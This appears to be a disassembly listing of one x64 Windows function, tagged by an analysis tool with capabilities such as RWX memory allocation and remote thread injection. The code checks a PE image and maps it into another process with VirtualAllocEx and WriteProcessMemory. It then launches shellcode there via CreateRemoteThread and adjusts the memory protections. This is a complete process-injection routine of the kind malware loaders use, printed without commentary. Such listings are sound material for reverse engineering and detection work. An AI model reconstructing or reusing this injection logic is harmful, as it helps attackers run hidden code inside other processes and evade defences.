Function at 0x180004ac0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 7]
sub rsp, 0xf0
mov rax, qword [0x180031020]
xor rax, rsp
mov qword [rbp - 1], rax
mov rbx, qword [rbp + 0x87]
mov eax, 0x5a4d
movzx r12d, r9b
mov rdi, qword [0x180072ff0]
mov r14, rdx
mov qword [rsp + 0x40], r8
cmp word [rdx], ax
jne 0x180005199
movsxd r15, dword [rdx + 0x3c]
mov eax, 0x8664
add r15, rdx
cmp word [r15 + 4], ax
jne 0x180005199
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor esi, esi
mov rcx, rdi
mov r13, rax
mov dword [rbp - 9], esi
mov r8d, dword [r15 + 0x50]
lea rax, [rbp - 9]
mov rdx, r13
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x1000
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r8, r14
mov qword [rsp + 0x58], rax
mov rdx, r13
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rsp + 0x60], rax
mov eax, dword [rbp + 0x7f]
mov dword [rbp - 0x71], eax
movzx eax, byte [rbp + 0x77]
mov qword [rsp + 0x50], rcx
mov rcx, rdi
mov dword [rbp - 0x61], eax
mov qword [rbp - 0x79], rsi
mov dword [rbp - 0x6d], esi
mov dword [rbp - 0x5d], esi
mov qword [rsp + 0x68], r13
mov qword [rbp - 0x69], rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005184
movzx ebx, word [r15 + 0x14]
add rbx, 0x2c
cmp word [r15 + 6], si
je 0x180004c23
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x180004c14
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r14
add rdx, r13
mov qword [rsp + 0x20], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005184
movzx eax, word [r15 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x180004be4
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rdi
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x11], rax
mov rsi, rax
test rax, rax
je 0x180005184
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov r14, rax
test rax, rax
je 0x18000516a
xor ebx, ebx
lea r8, [0x1800051d0]
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000513b
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x180073000], rax
test rax, rax
je 0x18000513b
lea r9d, [rbx + 0x40]
mov qword [rbp - 0x69], rax
lea r8, [rsp + 0x50]
mov qword [rsp + 0x20], rbx
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000516a
mov qword [rsp + 0x30], rbx
mov r9, r14
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x18000513b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x180071834], 0xffa
nop dword [rax + rax]
lea rcx, [0x180072fec]
call fcn.180007480
test al, al
jne 0x180004dc5
lea rdx, [rbp - 0x19]
mov dword [rbp - 0x19], ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp - 0x19], 0x103
jne 0x180005199
xorps xmm0, xmm0
mov qword [rsp + 0x20], rbx
mov r9d, 0x40
lea r8, [rbp - 0x59]
mov rdx, rsi
mov rcx, rdi
movups xmmword [rbp - 0x59], xmm0
movups xmmword [rbp - 0x49], xmm0
movups xmmword [rbp - 0x39], xmm0
movups xmmword [rbp - 0x29], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x39]
cmp rbx, 0x404040
je 0x180004efb
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
mov ebx, 0
je 0x180004d40
mov dl, 1
lea rcx, [0x180072fe9]
call fcn.1800074d0
lea rcx, [0x180072fed]
call fcn.180007480
test al, al
je 0x180004dd3
mov rdx, qword [0x180073000]
lea r8, [0x180071828]
mov r9d, 0x10
mov byte [0x180071830], 1
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop dword [rax]
mov rdx, qword [0x180073000]
lea r8, [0x180071828]
mov r9d, 0x10
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [0x180071831], 1
jne 0x180004e10
mov rbx, qword [rsp + 0x40]
mov rcx, rbx
call fcn.180018024
mov r14, rax
test rax, rax
je 0x180005199
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.1800106c0
test r12b, r12b
je 0x180004e8c
mov r9d, 0x1000
mov qword [rsp + 0x20], 0
mov r8, r14
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005199
cmp byte [rbp + 0x67], 0
je 0x180004fd6
movzx ebx, word [r15 + 0x14]
xor esi, esi
add rbx, 0x18
add rbx, r15
cmp word [r15 + 6], si
je 0x180004fd2
movzx r12d, byte [rbp + 0x77]
lea r8, [0x18002da34]
lea r9, str..rsrc
lea r10, str..reloc
nop dword [rax]
mov edx, dword [rbx + 8]
test edx, edx
je 0x180004fbf
test r12b, r12b
jne 0x180004f46
xor ecx, ecx
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x180004f46
cmp rcx, 7
jne 0x180004ee2
jmp 0x180004f84
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [0x180073000]
jmp 0x180005187
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x180004f66
cmp rcx, 6
jne 0x180004f50
jmp 0x180004f84
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rbx + rax]
inc rax
cmp cl, byte [r10 + rax - 1]
jne 0x180004fbf
cmp rax, 7
jne 0x180004f70
mov r9, rdx
mov qword [rsp + 0x20], 0
mov edx, dword [rbx + 0xc]
mov r8, r14
add rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005199
lea r8, [0x18002da34]
lea r9, str..rsrc
lea r10, str..reloc
movzx eax, word [r15 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x180004ed0
mov rsi, qword [rbp - 0x11]
mov rbx, qword [rsp + 0x48]
xor r12d, r12d
mov r9, qword [rsp + 0x40]
mov rdx, rbx
mov r8, r14
mov qword [rsp + 0x20], r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005199
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
je 0x180005199
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
je 0x180005199
mov rdx, qword [0x180073000]
lea r9d, [r12 + 0x10]
mov r8, r14
mov qword [rsp + 0x20], r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005199
mov rdx, qword [0x180073000]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
je 0x180005199
cmp byte [rbp + 0x6f], r12b
je 0x18000512f
movzx ebx, word [r15 + 0x14]
mov esi, r12d
add rbx, 0x3c
cmp word [r15 + 6], si
je 0x180005106
add rbx, r15
lea edx, [r12 + 0x20]
mov ecx, dword [rbx - 0x1c]
test ecx, ecx
je 0x1800050f7
mov eax, dword [rbx]
mov dword [rbp - 0x19], r12d
test eax, 0x80000000
jbe 0x1800050c0
mov r9d, 4
jmp 0x1800050cf
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov edx, dword [rbx - 0x18]
lea rax, [rbp - 0x19]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x180005199
mov edx, 0x20
movzx eax, word [r15 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x1800050a4
movzx eax, word [r15 + 0x14]
mov r9d, 2
mov dword [rbp - 0x11], r12d
mov rdx, r13
mov rcx, rdi
mov r8d, dword [rax + r15 + 0x24]
lea rax, [rbp - 0x11]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, r14
call fcn.180017bf4
mov al, 1
jmp 0x18000519b
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, r14
jmp 0x180005187
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rsi
jmp 0x180005187
mov rdx, r13
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rbp - 1]
xor rcx, rsp
call fcn.18000f250
mov rbx, qword [rsp + 0x130]
add rsp, 0xf0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret